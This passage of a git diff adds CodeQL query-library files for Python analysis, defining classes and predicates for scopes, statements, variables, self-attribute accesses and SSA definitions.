cls and + result.getScope() = cls.getScope() and + result.getId() = local.getId() and + not exists(this.getDefinition()) + ) + } + + /* Whether this SSA variable is the first parameter of a method + * (regardless of whether it is actually called self or not) + */ + predicate isSelf() { + exists(Function func | + func.isMethod() + and + this.getDefinition().getNode() = func.getArg(0) + ) + } +} + +private predicate reaches_end(BasicBlock b) { + not exits_early(b) + and + ( + /* Entry point */ + not exists(BasicBlock prev | prev.getASuccessor() = b) + or + exists(BasicBlock prev | prev.getASuccessor() = b | + reaches_end(prev) + ) + ) +} + +private predicate exits_early(BasicBlock b) { + exists(FunctionObject f | + f.neverReturns() and + f.getACall().getBasicBlock() = b + ) +} + +private predicate gettext_installed() { + // Good enough (and fast) approximation + exists(Module m | m.getName() = "gettext") +} + +private predicate builtin_constant(string name) { + exists(builtin_object(name)) + or + name = "WindowsError" + or + name = "_" and gettext_installed() +} + +private predicate auto_name(string name) { + name = "__file__" or name = "__builtins__" or name = "__name__" +} + +/** Whether this name is (almost) always defined, ie. it is a builtin or VM defined name */ +predicate globallyDefinedName(string name) { + builtin_constant(name) or auto_name(name) +} + +/** An SSA variable that is backed by a global variable */ +class GlobalSsaVariable extends EssaVariable { + + GlobalSsaVariable() { + this.getSourceVariable() instanceof GlobalVariable + } + + GlobalVariable getVariable() { + result = this.getSourceVariable() + } + + string getId() { + result = this.getVariable().getId() + } + + override string toString() { + result = "GSSA Variable " + this.getId() + } + + +} diff --git a/python/ql/src/semmle/python/Scope.qll b/python/ql/src/semmle/python/Scope.qll new file mode 100755 index 00000000000..54274623216 --- /dev/null +++ b/python/ql/src/semmle/python/Scope.qll @@ -0,0 +1,181 @@ +import python + +/** A Scope. A scope is the lexical extent over which all identifiers with the same name refer to the same variable. + * Modules, Classes and Functions are all Scopes. There are no other scopes. + * The scopes for expressions that create new scopes, lambdas and comprehensions, are handled by creating an anonymous Function. */ +class Scope extends Scope_ { + + Module getEnclosingModule() { + result = this.getEnclosingScope().getEnclosingModule() + } + + /** This method will be deprecated in the next release. Please use `getEnclosingScope()` instead. + * The reason for this is to avoid confusion around use of `x.getScope+()` where `x` might be an + * `AstNode` or a `Variable`. Forcing the users to write `x.getScope().getEnclosingScope*()` ensures that + * the apparent semantics and the actual semantics coincide. + * [ Gets the scope enclosing this scope (modules have no enclosing scope) ] + */ + Scope getScope() { + none() + } + + /** Gets the scope enclosing this scope (modules have no enclosing scope) */ + Scope getEnclosingScope() { + none() + } + + /** Gets the statements forming the body of this scope */ + StmtList getBody() { + none() + } + + /** Gets the nth statement of this scope */ + Stmt getStmt(int n) { + none() + } + + /** Gets a top-level statement in this scope */ + Stmt getAStmt() { + none() + } + + Location getLocation() { + none() + } + + /** Gets the name of this scope */ + string getName() { + py_strs(result, this, 0) + } + + /** Gets the docstring for this scope */ + StrConst getDocString() { + result = ((ExprStmt)this.getStmt(0)).getValue() + } + + /** Gets the entry point into this Scope's control flow graph */ + ControlFlowNode getEntryNode() { + py_scope_flow(result, this, -1) + } + + /** Gets the non-explicit exit from this Scope's control flow graph */ + ControlFlowNode getFallthroughNode() { + py_scope_flow(result, this, 0) + } + + /** Gets the exit of this scope following from a return statement */ + ControlFlowNode getReturnNode() { + py_scope_flow(result, this, 2) + } + + /** Gets an exit from this Scope's control flow graph */ + ControlFlowNode getAnExitNode() { + exists (int i | py_scope_flow(result, this, i) and i >= 0) + } + + /** Gets an exit from this Scope's control flow graph, + * that does not result from an exception */ + ControlFlowNode getANormalExit() { + result = this.getFallthroughNode() + or + result = this.getReturnNode() + } + + /** Holds if this a top-level (non-nested) class or function */ + predicate isTopLevel() { + this.getEnclosingModule() = this.getEnclosingScope() + } + + /** Holds if this scope is deemed to be public */ + predicate isPublic() { + /* Not inside a function */ + not this.getEnclosingScope() instanceof Function and + /* Not implicitly private */ + this.getName().charAt(0) != "_" and + ( + this instanceof Module + or + exists(Module m | + m = this.getEnclosingScope() and m.isPublic() | + /* If the module has an __all__, is this in it */ + not exists(m.getAnExport()) + or + m.getAnExport() = this.getName() + ) + or + exists(Class c | c = this.getEnclosingScope() | + this instanceof Function and + c.isPublic() + ) + ) + } + + predicate contains(AstNode a) { + this.getBody().contains(a) + or + exists(Scope inner | inner.getEnclosingScope() = this | inner.contains(a)) + } + + /** Holds if this scope can be expected to execute before `other`. + * Modules precede functions and methods in those modules + * `__init__` precedes other methods. `__enter__` precedes `__exit__`. + * NOTE that this is context-insensitive, so a module "precedes" a function + * in that module, even if that function is called from the module scope. + */ + predicate precedes(Scope other) { + exists(Function f, string name | + f = other and name = f.getName() | + if f.isMethod() then ( + // The __init__ method is preceded by the enclosing module + this = f.getEnclosingModule() and name = "__init__" + or + exists(Class c, string pred_name | + // __init__ -> __enter__ -> __exit__ + // __init__ -> other-methods + f.getScope() = c and ( + pred_name = "__init__" and not name = "__init__" and not name = "__exit__" + or + pred_name = "__enter__" and name = "__exit__" + ) + | + this.getScope() = c and + pred_name = this.(Function).getName() + or + not exists(Function pre_func | + pre_func.getName() = pred_name and + pre_func.getScope() = c + ) and this = other.getEnclosingModule() + ) + ) else ( + // Normal functions are preceded by the enclosing module + this = f.getEnclosingModule() + ) + ) + } + + /** Gets the evaluation scope for code in this (lexical) scope. + * This is usually the scope itself, but may be an enclosing scope. + * Notably, for list comprehensions in Python 2. + */ + Scope getEvaluatingScope() { + result = this + } + + /** Holds if this scope is in the source archive, + * that is it is part of the code specified, not library code + */ + predicate inSource() { + exists(this.getEnclosingModule().getFile().getRelativePath()) + } + + Stmt getLastStatement() { + result = this.getBody().getLastItem().getLastStatement() + } + + /** Whether this contains `inner` syntactically and `inner` has the same scope as `this` */ + predicate containsInScope(AstNode inner) { + this.getBody().contains(inner) and + this = inner.getScope() + } + +} diff --git a/python/ql/src/semmle/python/SelfAttribute.qll b/python/ql/src/semmle/python/SelfAttribute.qll new file mode 100644 index 00000000000..9e165a4bb54 --- /dev/null +++ b/python/ql/src/semmle/python/SelfAttribute.qll @@ -0,0 +1,241 @@ +/** Utilities to support queries about instance attribute accesses of + * the form `self.attr`. + */ + +import python +private import semmle.python.pointsto.PointsTo +private import semmle.python.pointsto.Filters + +/** An attribute access where the left hand side of the attribute expression + * is `self`. + */ +class SelfAttribute extends Attribute { + + SelfAttribute() { + self_attribute(this, _) + } + + Class getClass() { + self_attribute(this, result) + } + +} + +/** Whether variable 'self' is the self variable in method 'method' */ +private predicate self_variable(Function method, Variable self) { + self.isParameter() and + method.isMethod() and + method.getArg(0).asName() = self.getAnAccess() +} + +/** Whether attribute is an access of the form `self.attr` in the body of the class 'cls' */ +private predicate self_attribute(Attribute attr, Class cls) { + exists(Function f, Variable self | + self_variable(f, self) | + self.getAnAccess() = attr.getObject() and + cls = f.getScope+() + ) +} + +/** Helper class for UndefinedClassAttribute.ql & MaybeUndefinedClassAttribute.ql */ +class SelfAttributeRead extends SelfAttribute { + + SelfAttributeRead() { + this.getCtx() instanceof Load and + /* Be stricter for loads. + * We want to generous as to what is defined (ie stores), + * but strict as to what needs to be defined (ie loads). + */ + exists(ClassObject cls, FunctionObject func | + cls.declaredAttribute(_) = func | + func.getFunction() = this.getScope() and + cls.getPyClass() = this.getClass() + ) + } + + predicate guardedByHasattr() { + exists(Variable var, ControlFlowNode n | + var.getAUse() = this.getObject().getAFlowNode() and + hasattr(n, var.getAUse(), this.getName()) and + n.strictlyDominates(this.getAFlowNode()) + ) + } + + pragma [noinline] predicate locallyDefined() { + exists(SelfAttributeStore store | + this.getName() = store.getName() and + this.getScope() = store.getScope() | + store.getAFlowNode().strictlyDominates(this.getAFlowNode()) + ) + } + +} + +class SelfAttributeStore extends SelfAttribute { + + SelfAttributeStore() { + this.getCtx() instanceof Store + } + + Expr getAssignedValue() { + exists(Assign a | a.getATarget() = this | + result = a.getValue() + ) + } + +} + +private Object object_getattribute() { + py_cmembers_versioned(theObjectType(), "__getattribute__", result, major_version().toString()) +} + +/** Helper class for UndefinedClassAttribute.ql and MaybeUndefinedClassAttribute.ql */ +class CheckClass extends ClassObject { + + private predicate ofInterest() { + not this.unknowableAttributes() and + not this.getPyClass().isProbableMixin() and + this.getPyClass().isPublic() and + not this.getPyClass().getScope() instanceof Function and + not this.probablyAbstract() and + not this.declaresAttribute("__new__") and + not this.selfDictAssigns() and + not this.lookupAttribute("__getattribute__") != object_getattribute() and + not this.hasAttribute("__getattr__") and + not this.selfSetattr() and + /* If class overrides object.__init__, but we can't resolve it to a Python function then give up */ + forall(ClassObject sup | + sup = this.getAnImproperSuperType() and + sup.declaresAttribute("__init__") and + not sup = theObjectType() | + sup.declaredAttribute("__init__") instanceof PyFunctionObject + ) + } + + predicate alwaysDefines(string name) { + auto_name(name) or + this.hasAttribute(name) or + this.getAnImproperSuperType().assignedInInit(name) or + this.getMetaClass().assignedInInit(name) + } + + predicate sometimesDefines(string name) { + this.alwaysDefines(name) or + exists(SelfAttributeStore sa | + sa.getScope().getScope+() = this.getAnImproperSuperType().getPyClass() | + name = sa.getName() + ) + } + + private predicate selfDictAssigns() { + exists(Assign a, SelfAttributeRead self_dict, Subscript sub | + self_dict.getName() = "__dict__" and + ( + self_dict = sub.getObject() + or + /* Indirect assignment via temporary variable */ + exists(SsaVariable v | + v.getAUse() = sub.getObject().getAFlowNode() and + v.getDefinition().(DefinitionNode).getValue() = self_dict.getAFlowNode() + ) + ) and + a.getATarget() = sub and + exists(FunctionObject meth | meth = this.lookupAttribute(_) and a.getScope() = meth.getFunction()) + ) + } + + pragma [nomagic] + private predicate monkeyPatched(string name) { + exists(Attribute a | + a.getCtx() instanceof Store and + PointsTo::points_to(a.getObject().getAFlowNode(), _, this, _, _) and a.getName() = name + ) + } + + private predicate selfSetattr() { + exists(Call c, Name setattr, Name self, Function method | + ( method.getScope() = this.getPyClass() or + method.getScope() = this.getASuperType().getPyClass() + ) and + c.getScope() = method and + c.getFunc() = setattr and + setattr.getId() = "setattr" and + c.getArg(0) = self and + self.getId() = "self" + ) + } + + predicate interestingUndefined(SelfAttributeRead a) { + exists(string name | name = a.getName() | + interestingContext(a, name) and + not this.definedInBlock(a.getAFlowNode().getBasicBlock(), name) + ) + } + + private predicate interestingContext(SelfAttributeRead a, string name) { + name = a.getName() and + this.ofInterest() and + this.getPyClass() = a.getScope().getScope() and + not a.locallyDefined() and + not a.guardedByHasattr() and + a.getScope().isPublic() and + not this.monkeyPatched(name) and + not attribute_assigned_in_method(lookupAttribute("setUp"), name) + } + + private predicate probablyAbstract() { + this.getName().matches("Abstract%") + or + this.isAbstract() + } + + private pragma[nomagic] predicate definitionInBlock(BasicBlock b, string name) { + exists(SelfAttributeStore sa | + sa.getAFlowNode().getBasicBlock() = b and sa.getName() = name and sa.getClass() = this.getPyClass() + ) + or + exists(FunctionObject method | this.lookupAttribute(_) = method | + attribute_assigned_in_method(method, name) and + b = method.getACall().getBasicBlock() + ) + } + + private pragma[nomagic] predicate definedInBlock(BasicBlock b, string name) { + // manual specialisation: this is only called from interestingUndefined, + // so we can push the context in from there, which must apply to a + // SelfAttributeRead in the same scope + exists(SelfAttributeRead a | + a.getScope() = b.getScope() and name = a.getName() | + interestingContext(a, name) + ) + and + this.definitionInBlock(b, name) + or + exists(BasicBlock prev | this.definedInBlock(prev, name) and prev.getASuccessor() = b) + } + +} + +private predicate attr_assigned_in_method_arg_n(FunctionObject method, string name, int n) { + exists(SsaVariable param | + method.getFunction().getArg(n).asName() = param.getDefinition().getNode() + | + exists(AttrNode attr | + attr.getObject(name) = param.getAUse() and + attr.isStore() + ) + or + exists(CallNode call, FunctionObject callee, int m | + callee.getArgumentForCall(call, m) = param.getAUse() and + attr_assigned_in_method_arg_n(callee, name, m) + ) + ) +} + +predicate attribute_assigned_in_method(FunctionObject method, string name) { + attr_assigned_in_method_arg_n(method, name, 0) +} + +private predicate auto_name(string name) { + name = "__class__" or name = "__dict__" +} diff --git a/python/ql/src/semmle/python/Stmts.qll b/python/ql/src/semmle/python/Stmts.qll new file mode 100644 index 00000000000..b6e0a2b7945 --- /dev/null +++ b/python/ql/src/semmle/python/Stmts.qll @@ -0,0 +1,546 @@ +import python + +/** A statement */ +class Stmt extends Stmt_, AstNode { + + /** Gets the scope immediately enclosing this statement */ + override Scope getScope() { + py_scopes(this, result) + } + + override string toString() { + result = "Stmt" + } + + /** Gets the module enclosing this statement */ + Module getEnclosingModule() { + result = this.getScope().getEnclosingModule() + } + + override Location getLocation() { + result = Stmt_.super.getLocation() + } + + /** Gets an immediate (non-nested) sub-expression of this statement */ + Expr getASubExpression() { + none() + } + + /** Gets an immediate (non-nested) sub-statement of this statement */ + Stmt getASubStatement() { + none() + } + + override AstNode getAChildNode() { + result = this.getASubExpression() + or + result = this.getASubStatement() + } + + private ControlFlowNode possibleEntryNode() { + result.getNode() = this or + this.containsInScope(result.getNode()) + } + + + /** Gets a control flow node for an entry into this statement. + */ + ControlFlowNode getAnEntryNode() { + result = this.possibleEntryNode() and + exists(ControlFlowNode pred | + pred.getASuccessor() = result and + not pred = this.possibleEntryNode() + ) + } + + /** Holds if this statement cannot be reached */ + predicate isUnreachable() { + not exists(this.getAnEntryNode()) + or + exists(If ifstmt | + ifstmt.getTest().(ImmutableLiteral).booleanValue() = false and ifstmt.getBody().contains(this) + or + ifstmt.getTest().(ImmutableLiteral).booleanValue() = true and ifstmt.getOrelse().contains(this) + ) + or + exists(While whilestmt | + whilestmt.getTest().(ImmutableLiteral).booleanValue() = false and whilestmt.getBody().contains(this) + ) + } + + /** Gets the final statement in this statement, ordered by location. + * Will be this statement if not a compound statement. + */ + Stmt getLastStatement() { + result = this + } + +} + +/** A statement that includes a binding (except imports) */ +class Assign extends Assign_ { + + /** Use ControlFlowNodes and SsaVariables for data-flow analysis. */ + predicate defines(Variable v) { + this.getATarget().defines(v) + } + + override Expr getASubExpression() { + result = this.getATarget() or + result = this.getValue() + } + + override Stmt getASubStatement() { + none() + } +} + +/** An augmented assignment statement, such as `x += y` */ +class AugAssign extends AugAssign_ { + + override Expr getASubExpression() { + result = this.getOperation() + } + + Expr getTarget() { + result = ((BinaryExpr)this.getOperation()).getLeft() + } + + Expr getValue() { + result = ((BinaryExpr)this.getOperation()).getRight() + } + + override Stmt getASubStatement() { + none() + } +} + +/** An annotated assignment statement, such as `x: int = 0` */ +class AnnAssign extends AnnAssign_ { + + override Expr getASubExpression() { + result = this.getAnnotation() or + result = this.getTarget() or + result = this.getValue() + } + + override Stmt getASubStatement() { + none() + } + + /** Holds if the value of the annotation of this assignment is stored at runtime. */ + predicate isStored() { + not this.getScope() instanceof Function + and + exists(Name n | + n = this.getTarget() + and + not n.isParenthesized() + ) + } + +} + +/** An exec statement */ +class Exec extends Exec_ { + + override Expr getASubExpression() { + result = this.getBody() or + result = this.getGlobals() or + result = this.getLocals() + } + + override Stmt getASubStatement() { + none() + } + +} + +/** An except statement (part of a `try` statement), such as `except IOError as err:` */ +class ExceptStmt extends ExceptStmt_ { + + /** Gets the immediately enclosing try statement */ + Try getTry() { + result.getAHandler() = this + } + + override Expr getASubExpression() { + result = this.getName() + or + result = this.getType() + } + + override Stmt getASubStatement() { + result = this.getAStmt() + } + + override Stmt getLastStatement() { + result = this.getBody().getLastItem().getLastStatement() + } + +} + +/** An assert statement, such as `assert a == b, "A is not equal to b"` */ +class Assert extends Assert_ { + + override Expr getASubExpression() { + result = this.getMsg() or result = this.getTest() + } + + override Stmt getASubStatement() { + none() + } + +} + +/** A break statement */ +class Break extends Break_ { + + override Expr getASubExpression() { + none() + } + + override Stmt getASubStatement() { + none() + } + +} + +/** A continue statement */ +class Continue extends Continue_ { + + override Expr getASubExpression() { + none() + } + + override Stmt getASubStatement() { + none() + } + +} + +/** A delete statement, such as `del x[-1]` */ +class Delete extends Delete_ { + + override Expr getASubExpression() { + result = this.getATarget() + } + + override Stmt getASubStatement() { + none() + } + +} + +/** An expression statement, such as `len(x)` or `yield y` */ +class ExprStmt extends ExprStmt_ { + + override Expr getASubExpression() { + result = this.getValue() + } + + override Stmt getASubStatement() { + none() + } + +} + +/** A for statement, such as `for x in y: print(x)` */ +class For extends For_ { + + override Stmt getASubStatement() { + result = this.getAStmt() or + result = this.getAnOrelse() + } + + override Expr getASubExpression() { + result = this.getTarget() or + result = this.getIter() + } + + override Stmt getLastStatement() { + result = this.getBody().getLastItem().getLastStatement() + } + +} + +/** A global statement, such as `global var` */ +class Global extends Global_ { + + override Expr getASubExpression() { + none() + } + + override Stmt getASubStatement() { + none() + } +} + +/** An if statement, such as `if eggs: print("spam")` */ +class If extends If_ { + + override Stmt getASubStatement() { + result = this.getAStmt() or + result = this.getAnOrelse() + } + + override Expr getASubExpression() { + result = this.getTest() + } + + /** Whether this if statement takes the form `if __name__ == "__main__":` */ + predicate isNameEqMain() { + exists(StrConst m, Name n, Compare c | + this.getTest() = c and + c.getOp(0) instanceof Eq and + ( + c.getLeft() = n and c.getComparator(0) = m + or + c.getLeft() = m and c.getComparator(0) = n + ) and + n.getId() = "__name__" and + m.getText() = "__main__" + ) + } + + /** Whether this if statement starts with the keyword `elif` */ + predicate isElif() { + /* The Python parser turns all elif chains into nested if-else statements. + * An `elif` can be identified as it is the first statement in an `else` block + * and it is not indented relative to its parent `if`. + */ + exists(If i | + i.getOrelse(0) = this and + this.getLocation().getStartColumn() = i.getLocation().getStartColumn() + ) + } + + /** Gets the `elif` branch of this `if`-statement, if present */ + If getElif() { + result = this.getOrelse(0) and + result.isElif() + } + + override Stmt getLastStatement() { + result = this.getOrelse().getLastItem().getLastStatement() + or + not exists(this.getOrelse()) and + result = this.getBody().getLastItem().getLastStatement() + } + +} + +/** A nonlocal statement, such as `nonlocal var` */ +class Nonlocal extends Nonlocal_ { + + override Stmt getASubStatement() { + none() + } + + override Expr getASubExpression() { + none() + } + + Variable getAVariable() { + result.getScope() = this.getScope() and + result.getId() = this.getAName() + } + +} + +/** A pass statement */ +class Pass extends Pass_ { + + override Stmt getASubStatement() { + none() + } + + override Expr getASubExpression() { + none() + } + +} + +/** A print statement (Python 2 only), such as `print 0` */ +class Print extends Print_ { + + override Stmt getASubStatement() { + none() + } + + override Expr getASubExpression() { + result = this.getAValue() or + result = this.getDest() + } + +} + +/** A raise statement, such as `raise CompletelyDifferentException()` */ +class Raise extends Raise_ { + + override Stmt getASubStatement() { + none() + } + + override Expr getASubExpression() { + py_exprs(result, _, this, _) + } + + /** The expression immediately following the `raise`, this is the + * exception raised, but not accounting for tuples in Python 2. + */ + Expr getException() { + result = this.getType() + or + result = this.getExc() + } + + /** The exception raised, accounting for tuples in Python 2. */ + Expr getRaised() + { + exists(Expr raw | + raw = this.getException() | + if (not major_version() = 2 or not exists(raw.(Tuple).getAnElt())) then + result = raw + else + /* In Python 2 raising a tuple will result in the first element of the tuple being raised. */ + result = raw.(Tuple).getElt(0) + ) + } +} + +/** A return statement, such as return None */ +class Return extends Return_ { + + override Stmt getASubStatement() { + none() + } + + override Expr getASubExpression() { + result = this.getValue() + } + +} + +/** A try statement */ +class Try extends Try_ { + + override Expr getASubExpression() { + none() + } + + override Stmt getASubStatement() { + result = this.getAHandler() or + result = this.getAStmt() or + result = this.getAFinalstmt() or + result = this.getAnOrelse() + } + + override ExceptStmt getHandler(int i) { + result = Try_.super.getHandler(i) + } + + /** Gets an exception handler of this try statement. */ + override ExceptStmt getAHandler() { + result = Try_.super.getAHandler() + } + + override Stmt getLastStatement() { + result = this.getFinalbody().getLastItem().getLastStatement() + or + not exists(this.getFinalbody()) and + result = this.getOrelse().getLastItem().getLastStatement() + or + not exists(this.getFinalbody()) and not exists(this.getOrelse()) and + result = this.getHandlers().getLastItem().getLastStatement() + or + not exists(this.getFinalbody()) and not exists(this.getOrelse()) and not exists(this.getHandlers()) and + result = this.getBody().getLastItem().getLastStatement() + } + +} + +/** A while statement, such as `while parrot_resting():` */ +class While extends While_ { + + override Expr getASubExpression() { + result = this.getTest() + } + + override Stmt getASubStatement() { + result = this.getAStmt() or + result = this.getAnOrelse() + } + + override Stmt getLastStatement() { + result = this.getOrelse().getLastItem().getLastStatement() + or + not exists(this.getOrelse()) and + result = this.getBody().getLastItem().getLastStatement() + } + +} + +/** A with statement such as `with f as open("file"): text = f.read()` */ +class With extends With_ { + + override Expr getASubExpression() { + result = this.getContextExpr() or + result = this.getOptionalVars() + } + + override Stmt getASubStatement() { + result = this.getAStmt() + } + + override Stmt getLastStatement() { + result = this.getBody().getLastItem().getLastStatement() + } + +} + +/** A plain text used in a template is wrapped in a TemplateWrite statement */ +class TemplateWrite extends TemplateWrite_ { + + override Expr getASubExpression() { + result = this.getValue() + } + + override Stmt getASubStatement() { + none() + } + +} + +class AsyncFor extends For { + + AsyncFor() { + this.isAsync() + } + +} + +class AsyncWith extends With { + + AsyncWith() { + this.isAsync() + } + +} + +/** A list of statements */ +class StmtList extends StmtList_ { + + /** Whether this list of statements contains s */ + predicate contains(AstNode a) { + exists(Stmt item | + item = this.getAnItem() | + item = a or item.contains(a) + ) + } + + Stmt getLastItem() { result = this.getItem(max(int i | exists(this.getItem(i)))) } + +} + + diff --git a/python/ql/src/semmle/python/TestUtils.qll b/python/ql/src/semmle/python/TestUtils.qll new file mode 100644 index 00000000000..6697dbed00d --- /dev/null +++ b/python/ql/src/semmle/python/TestUtils.qll @@ -0,0 +1,24 @@ +/* This file contains test-related utility functions */ + +import python + + +/** Removes everything up to the occurrence of `sub` in the string `str` */ + +bindingset[str,sub] +string remove_prefix_before_substring(string str, string sub) { + exists(int index | + index = str.indexOf(sub) and + result = str.suffix(index) + ) + or + not exists(str.indexOf(sub)) and + result = str +} + +/** Removes the part of the `resources/lib` Python library path that may vary + * from machine to machine. */ + +string remove_library_prefix(Location loc) { + result = remove_prefix_before_substring(loc.toString(), "resources/lib") +} diff --git a/python/ql/src/semmle/python/Variables.qll b/python/ql/src/semmle/python/Variables.qll new file mode 100644 index 00000000000..21ccc43b545 --- /dev/null +++ b/python/ql/src/semmle/python/Variables.qll @@ -0,0 +1,123 @@ + +import python + +/** A variable, either a global or local variable (including parameters) */ +class Variable extends @py_variable { + + /** Gets the identifier (name) of this variable */ + string getId() { + variable(this, _, result) + } + + string toString() { + result = "Variable " + this.getId() + } + + /** Gets an access (load or store) of this variable */ + Name getAnAccess() { + result = this.getALoad() + or + result = this.getAStore() + } + + /** Gets a load of this variable */ + Name getALoad() { + result.uses(this) + } + + /** Gets a store of this variable */ + Name getAStore() { + result.defines(this) + } + + /** Gets a use of this variable */ + NameNode getAUse() { + result.uses(this) + } + + /** Gets the scope of this variable */ + Scope getScope() { + variable(this, result, _) + } + + /** Whether there is an access to this variable outside + * of its own scope. Usually occurs in nested functions + * or for global variables. + */ + predicate escapes() { + exists(Name n | n = this.getAnAccess() | n.getScope() != this.getScope()) + } + + /** Whether this variable is a parameter */ + predicate isParameter() { + none() + } + + predicate isSelf() { + none() + } + +} + +/** A local (function or class) variable */ +class LocalVariable extends Variable { + + LocalVariable() { + exists(Scope s | s = this.getScope() | s instanceof Function or s instanceof Class) + } + + override string toString() { + result = "Local Variable " + this.getId() + } + + /** Whether this variable is a parameter */ + override predicate isParameter() { + exists(Parameter p | this.getAnAccess() = p) + } + + /** Holds if this variable is the first parameter of a method. It is not necessarily called "self" */ + override predicate isSelf() { + exists(Function f, Parameter self | + this.getAnAccess() = self and + f.isMethod() and f.getArg(0) = self + ) + } + +} + +/** A local variable that uses "load fast" semantics, for lookup: + * If the variable is undefined, then raise an exception. + */ +class FastLocalVariable extends LocalVariable { + + FastLocalVariable() { + this.getScope() instanceof FastLocalsFunction + } + +} + +/** A local variable that uses "load name" semantics, for lookup: + * If the variable is undefined, then lookup the value in globals(). + */ +class NameLocalVariable extends LocalVariable { + + NameLocalVariable() { + not this instanceof FastLocalVariable + } + +} + +/** A global (module-level) variable */ +class GlobalVariable extends Variable { + + GlobalVariable() { + exists(Module m | m = this.getScope()) + } + + override string toString() { + result = "Global Variable " + this.getId() + } + +} + + diff --git a/python/ql/src/semmle/python/dataflow/SsaDefinitions.qll b/python/ql/src/semmle/python/dataflow/SsaDefinitions.qll new file mode 100644 index 00000000000..ce80d74db3d --- /dev/null +++ b/python/ql/src/semmle/python/dataflow/SsaDefinitions.qll @@ -0,0 +1,460 @@ +/** Provides classes and predicates for determining the uses and definitions of + * variables for ESSA form. + */ + +import python +private import semmle.python.pointsto.Base + + +/* Classification of variables. These should be non-overlapping and complete. + * + * Function local variables - Non escaping variables in a function, except 'self' + * Self variables - The 'self' variable for a method. + * Class local variables - Local variables declared in a class + * Non-local variables - Escaping variables in a function + * Built-in variables - Global variables with no definition + * Non-escaping globals -- Global variables that have definitions and all of those definitions are in the module scope + * Escaping globals -- Global variables that have definitions and at least one of those definitions is in another scope. + */ + +/** Python specific version of `SsaSourceVariable`. */ +abstract class PythonSsaSourceVariable extends SsaSourceVariable { + + PythonSsaSourceVariable() { + /* Exclude `True`, `False` and `None` */ + not this.(Variable).getALoad() instanceof NameConstant + } + + override string getName() { + result = this.(Variable).getId() + } + + abstract ControlFlowNode getAnImplicitUse(); + + abstract ControlFlowNode getScopeEntryDefinition(); + + override ControlFlowNode getAUse() { + result = this.getASourceUse() + or + result = this.getAnImplicitUse() + or + /* `import *` is a definition of *all* variables, so must be a use as well, for pass-through + * once we have established that a variable is not redefined. + */ + SsaSource::import_star_refinement(this, result, _) + or + /* Add a use at the end of scope for all variables to keep them live + * This is necessary for taint-tracking. + */ + result = this.(Variable).getScope().getANormalExit() + } + + override predicate hasDefiningNode(ControlFlowNode def) { + def = this.getScopeEntryDefinition() + or + SsaSource::assignment_definition(this, def, _) + or + SsaSource::multi_assignment_definition(this, def) + or + SsaSource::deletion_definition(this, def) + or + SsaSource::iteration_defined_variable(this, def, _) + or + SsaSource::init_module_submodule_defn(this, def) + or + SsaSource::parameter_definition(this, def) + or + SsaSource::exception_capture(this, def) + or + SsaSource::with_definition(this, def) + } + + override predicate hasDefiningEdge(BasicBlock pred, BasicBlock succ) { + none() + } + + override predicate hasRefinement(ControlFlowNode use, ControlFlowNode def) { + this.hasDefiningNode(_) and /* Can't have a refinement unless there is a definition */ + refinement(this, use, def) + } + + override predicate hasRefinementEdge(ControlFlowNode use, BasicBlock pred, BasicBlock succ) { + test_contains(pred.getLastNode(), use) and + use.(NameNode).uses(this) and + (pred.getAFalseSuccessor() = succ or pred.getATrueSuccessor() = succ) and + /* There is a store to this variable -- We don't want to refine builtins */ + exists(this.(Variable).getAStore()) + } + override ControlFlowNode getASourceUse() { + result.(NameNode).uses(this) + or + result.(NameNode).deletes(this) + } + + abstract CallNode redefinedAtCallSite(); + +} + +class FunctionLocalVariable extends PythonSsaSourceVariable { + + FunctionLocalVariable() { + this.(LocalVariable).getScope() instanceof Function and + not this instanceof NonLocalVariable + } + + override ControlFlowNode getAnImplicitUse() { + this.(Variable).isSelf() and this.(Variable).getScope().getANormalExit() = result + } + + override ControlFlowNode getScopeEntryDefinition() { + not this.(LocalVariable).getId() = "*" and + exists(Scope s | + s.getEntryNode() = result | + s = this.(LocalVariable).getScope() and + not this.(LocalVariable).isParameter() + or + s != this.(LocalVariable).getScope() and + s = this.(LocalVariable).getALoad().getScope() + ) + } + + override CallNode redefinedAtCallSite() { none() } + +} + +class NonLocalVariable extends PythonSsaSourceVariable { + + NonLocalVariable() { + exists(Function f | + this.(LocalVariable).getScope() = f and + this.(LocalVariable).getAStore().getScope() != f + ) + } + + override ControlFlowNode getAnImplicitUse() { + result.(CallNode).getScope().getScope*() = this.(LocalVariable).getScope() + } + + override ControlFlowNode getScopeEntryDefinition() { + exists(Function f | + f.getScope+() = this.(LocalVariable).getScope() and + f.getEntryNode() = result + ) + or + not this.(LocalVariable).isParameter() and + this.(LocalVariable).getScope().getEntryNode() = result + } + + override CallNode redefinedAtCallSite() { + not this.(LocalVariable).getId() = "*" and + result.getScope().getScope*() = this.(LocalVariable).getScope() + } + +} + +class ClassLocalVariable extends PythonSsaSourceVariable { + + ClassLocalVariable() { + this.(LocalVariable).getScope() instanceof Class + } + + override ControlFlowNode getAnImplicitUse() { + none() + } + + override ControlFlowNode getScopeEntryDefinition() { + not this.(LocalVariable).getId() = "*" and + result = this.(LocalVariable).getScope().getEntryNode() + } + + override CallNode redefinedAtCallSite() { none() } + +} + +class BuiltinVariable extends PythonSsaSourceVariable { + + BuiltinVariable() { + this instanceof GlobalVariable and + not exists(this.(Variable).getAStore()) and + not this.(Variable).getId() = "__name__" and + not this.(Variable).getId() = "__package__" and + not exists(ImportStar is | is.getScope() = this.(Variable).getScope()) + } + + override ControlFlowNode getAnImplicitUse() { + none() + } + + override ControlFlowNode getScopeEntryDefinition() { + none() + } + + override CallNode redefinedAtCallSite() { none() } + +} + +class ModuleVariable extends PythonSsaSourceVariable { + + ModuleVariable() { + this instanceof GlobalVariable and + ( + exists(this.(Variable).getAStore()) + or + this.(Variable).getId() = "__name__" + or + this.(Variable).getId() = "__package__" + or + exists(ImportStar is | is.getScope() = this.(Variable).getScope()) + ) + } + + override ControlFlowNode getAnImplicitUse() { + result.getScope() = this.(GlobalVariable).getScope() and + ( + result instanceof CallNode + or + import_from_dot_in_init(result.(ImportMemberNode).getModule(this.getName())) + ) + or + exists(ImportTimeScope scope | + scope.entryEdge(result, _) | + this = scope.getOuterVariable(_) or + this.(Variable).getAUse().getScope() = scope + ) + or + /* For implicit use of __metaclass__ when constructing class */ + exists(Class c | + class_with_global_metaclass(c, this) and + c.(ImportTimeScope).entryEdge(result, _) + ) + or + exists(ImportTimeScope s | + result = s.getANormalExit() and this.(Variable).getScope() = s and + implicit_definition(this) + ) + } + + override ControlFlowNode getScopeEntryDefinition() { + not this.(GlobalVariable).getId() = "*" and + exists(Scope s | + s.getEntryNode() = result | + /* Module entry point */ + this.(GlobalVariable).getScope() = s + or + /* For implicit use of 